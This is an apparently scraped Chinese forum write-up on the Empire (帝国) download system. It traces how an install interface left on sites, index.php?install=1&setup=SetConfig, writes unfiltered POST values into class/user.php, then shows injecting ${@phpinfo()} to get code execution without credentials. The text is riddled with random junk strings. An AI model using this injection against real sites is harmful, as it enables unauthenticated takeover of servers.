这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们: w5 u) T9 J8 ^! b4 Q4 [
: g* s6 ]2 n; `7 j
2 c, B9 n, m7 j0 T. V. ]! n
这是帝国的一套下载系统 如图
% |' V/ C$ {$ }/ \! L6 }ps(不需要任何账户和密码,直接写shell)
5 @" ~2 C8 l6 T: M' L4 F由于很多站是由于下载要整合discuz 等等一些论坛....
" b/ ]6 ]6 l7 {! T* f , U( V* D2 x8 ]' M, P8 k
而帝国他又有一个万能接口,如图
- \1 ^6 ?0 q; k' M
; x6 Y2 l: y I" F
3 ^/ m% w2 c% f" ?2 C而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码6 ?, |2 J$ j1 W0 r
' e( A) z F( a0 T; L5 [当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪1 \: j" {# t# k' ?/ R: a# V& l) K
# J" X3 f9 E) ]. G: V) j在data/fun.php中的15行
/ ]+ U# S+ R: x5 m3 P4 o) N
, k1 \" n& ~7 Y& i( G+ `我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {! W/ p: e7 S: y7 T! X: t7 E& U; L
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
) M3 ^* U& Z" x2 W- \5 v
; s) X3 q' o( V4 G这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);* A0 K6 v( }$ l& o C( P
]" p) ?6 E4 }8 z( b
他将传进来的变量进行了切割,然后赋给了$filetext* z: ] |0 p6 W% L) K3 T
) q7 O2 h+ |1 d5 H1 A然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了2 l, I- X5 n0 ~! A
5 }- Z3 H3 |7 `) K
我们看看写入的结果,随便填一个
8 w5 `6 Y$ S( K5 {
3 M; C. Y4 V, n/ ^
% Z% `5 `9 u+ a1 j' F, B ^
# j6 [; F! o) R3 u* J
6 @4 [! T0 B4 _& N$ ^! ~3 G
: d2 k. L! H$ A- {
7 y8 V2 x3 k! d( E" _+ h2 z( [: A
! L( J, U3 B$ d% o
5 Z& ^! x. y6 b q5 s
& ?+ K! y; o- U4 [" O; u3 C: ?
* u5 c( Y/ F# ]# C
. j; W3 K( L+ o' C. G6 Y/ X1 A! Z9 h( z% W% M% f9 z+ W# k0 t
0 k% W+ S0 z& D" m3 `# `2 h H! r0 o$ B7 H3 i% c; E1 m
# h- C) E- x+ A8 k* O
5 s: ]( F) j: r! I" {. f8 N( O
8 P$ ^% G1 P- R; \( p0 `5 _
" R# X! V& e( W' R/ o# Q% x! v* [. f
9 C+ z' {7 C6 z: A q6 B& Y
所以我们淫荡点,写个${@phpinfo()}试试
2 t4 T( m! U# C8 L; y然后访问以下class/user.php这个文件+ \- k( G8 d F+ P
日了吧 + W3 \# |9 y0 y
6 L3 Q2 e M4 @% D" ~
( L; r) j) `2 a3 U2 z# J8 a% T, Q
! h4 z" o/ X9 z0 w% v
8 o9 E1 Y! W5 a# U* k W, c& h. u& B
|